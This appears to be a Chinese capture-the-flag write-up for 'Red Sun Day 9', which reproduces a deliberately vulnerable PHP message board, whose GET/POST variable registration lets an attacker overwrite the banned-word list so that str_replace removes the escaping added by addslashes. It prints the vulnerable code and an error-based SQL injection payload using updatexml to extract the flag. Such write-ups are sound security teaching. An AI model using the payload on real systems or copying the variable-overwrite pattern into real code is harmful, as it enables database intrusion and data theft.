【红日Day9-CTF】str_replace函数过滤不当_造成sql注入

练习记录

复现代码:

index.php

  
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
    die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}
echo "

Welcome come to HRSEC message board

"
; echo <<<EOF

Leave a message:

EOF;
$sql = "SELECT * FROM users"; $result = $conn->query($sql); if($result->num_rows > 0){ echo "
";while($row=$result->fetch_row()){echo"";}echo"
idmessage
$row[0]$row[1]
"
; } $conn->close(); ?>

function.php

  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造化' => '造**', '法国' => '法*');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>
  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day9";
?>
搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

漏洞分析:

进入网站:

http://10.211.55.2:100/day9/index.php

【红日Day9-CTF】str_replace函数过滤不当_造成sql注入_第1张图片
发现页面正常,可以进行操作了。

实际上这题是以齐博CMS的漏洞为原型改造的,让我们具体来看一下漏洞是如何产生的。题目提供了一个留言版功能,并且对用户提交的留言进行 HTML实体编码转换特殊字符转义违禁词过滤 等处理,然后直接与sql语句进行拼接操作(index.php文件 下面第4行),具体代码如下:

if(isset($_POST['msg']) && $_POST['msg'] !==''){
    $msg = addslashes($_POST['msg']);
    $msg = replace_bad_word(convert($msg));
    $sql = "INSERT INTO users VALUES($id,'".$msg."')";
    $result = $conn->query($sql);
    if($conn->error) die($conn->error);
}

这些转换函数都可以在 function.php 文件中找到,我们很明显可以看到在第16-19行处进行了全局变量注册,这样就很容易引发变量覆盖问题。在第14行处定义了需要替换的违禁词数组,并在replace_bad_word函数中进行替换。这里,我们便可以通过覆盖 $limit_words数组,来逃逸单引号,因为在index.php文件中使用了addslashes函数(上面代码第2行)。

  
function replace_bad_word($str){
    global $limit_words;
    foreach ($limit_words as $old => $new) {
        strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
    }
    return $str;
}

function convert($str){
    return htmlentities($str);
}

$limit_words = array('造化' => '造**', '法国' => '法**');

foreach (array('_GET','_POST') as $method) {
    foreach ($$method as $key => $value) {
        $$key = $value;
    }
}
?>

addslashes() 函数:

(PHP 4, PHP 5, PHP 7)

功能:

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
定义:
addslashes(string)
说明:
参数 描述
string 必需。规定要转义的字符串。
范例:

【红日Day9-CTF】str_replace函数过滤不当_造成sql注入_第2张图片
结果:

Who’s Peter Griffin? This is not safe in a database query.
Who’s Peter Griffin? This is safe in a database query.

我们使用第一个 payload如下:

msg=1%00' and updatexml(1,concat(0x7e,(select * from flag),0x7e),1))#&limit_words[\0\]=

【红日Day9-CTF】str_replace函数过滤不当_造成sql注入_第3张图片
这样我们便注出了flag,但是这里的flag并不齐全,因为updatexml报错 最多只能显示 32位 ,所以下面我使用reverse函数注出尾部数据。当然方法不止这一种,大家自己举一反三。
【红日Day9-CTF】str_replace函数过滤不当_造成sql注入_第4张图片
然后用python逆过来
【红日Day9-CTF】str_replace函数过滤不当_造成sql注入_第5张图片

你可能感兴趣的:(技术)